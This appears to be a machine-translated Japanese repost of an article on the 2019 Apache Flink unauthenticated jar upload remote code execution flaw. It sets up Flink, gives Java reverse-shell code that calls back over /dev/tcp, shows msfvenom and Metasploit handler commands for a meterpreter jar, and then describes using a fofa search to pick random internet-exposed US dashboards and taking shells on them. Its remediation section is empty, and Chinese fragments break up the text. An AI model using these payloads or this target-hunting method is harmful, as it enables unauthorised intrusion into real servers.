2019 年 11 月 11 日、セキュリティ エンジニアの Henry Chen は、Apache Flink が承認なしに jar パッケージをアップロードし、リモートでコードが実行される可能性がある脆弱性を公開しました。 Apache Flink ダッシュボードはデフォルトで認証なしでアクセスできるため、悪意のある jar パッケージをアップロードして悪意のあるコードの実行をトリガーすることでシェルを取得できます。
<= 1.9.1 (最新版)
(1) インストール事前に適切な java (java8 以降が必要)
(2) flink-1.9.1
ダウンロードアドレス: https://www.apache .org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) ダウンロードした圧縮パッケージを解凍します:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
( 4) 解凍されたディレクトリに移動し、その bin ディレクトリに移動します。
(5) flink を開始します:
./start-cluster.sh
(6) ブラウザ アクセス検証 (デフォルトのポートは 8081):
http://172.26.1.108:8081
##上記の図が表示され、確立は成功です。(7) 起動時の自動起動を設定する(ここで長い間苦労しているのですが、立ち上がれません。source /etc/rc.d/rc.local から直接起動できますが、flink では起動できません)再起動しても起動せず、ようやく解決策を見つけました)
起動時の自動起動設定
脆弱性再発:
( 1) Java を使用してシェルをリバウンドする方法については、記事 https://klionsec.github.io/2016/09/27/revese-shell/#menu を参照してください
IP とポートを変更することを忘れないでください:
コード:
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p> <p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p> <p></p> <p>## b. 次に、「java-->Runnable JAR file<img src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p></p> <p>」を選択します。c. 次に、対応する Java プロジェクト、エクスポート パス、およびエクスポート ファイル名を選択します<img src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p></p>##図 <p><img src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析">これはリバウンド シェルの jar パッケージを生成します</p> <p>msf は jar horse を生成します:</p> <p>(1) msfvenom を使用して jar を生成しますhorse:</p> <pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) msf のリッスン モジュールを開き、ポート 9999 をリッスンします (jar horse によって設定されたポートと一致するように)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
# #(3) 生成した jar ホースをアップロードして送信した後 (一部の操作については、以下の再現を参照してください)、シェルを正常に受信したことがわかります:
ローカル複製:
(1) アクセス ターゲット:
(2) [Submit New job] をクリックして、jar をアップロードするためのページを開きます。パッケージ:
#(3) [新規追加] をクリックして、作成した jar パッケージを選択します:
#(4)マシン上のポートを監視します (作成した jar パッケージはシェルを直接再バインドします)
(5) アップロードしたばかりの jar パッケージをクリックします:
(6) 次に「送信」をクリックすると、シェルを正常に受信したことがわかります:
インターネット サイト:
fofa キーワード:
"apache-flink-dashboard" && country="US"(1) ランダムなターゲットを見つけます:
(2) [Submit new Job] をクリックすると、jar パッケージをアップロードできることがわかります
(3) flink の機能を使用して、jar パッケージをアップロードします。
(4) アップロード後、 vps 上のポート
を監視します (5) 次に、ブラウザに戻り、アップロードした jar パッケージを選択し、[送信] をクリックして送信します。vps がシェル# を正常に受信したことがわかります。
##脆弱性の修正:以上がApache flink での jar パッケージのアップロードによって引き起こされるリモート コード実行の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。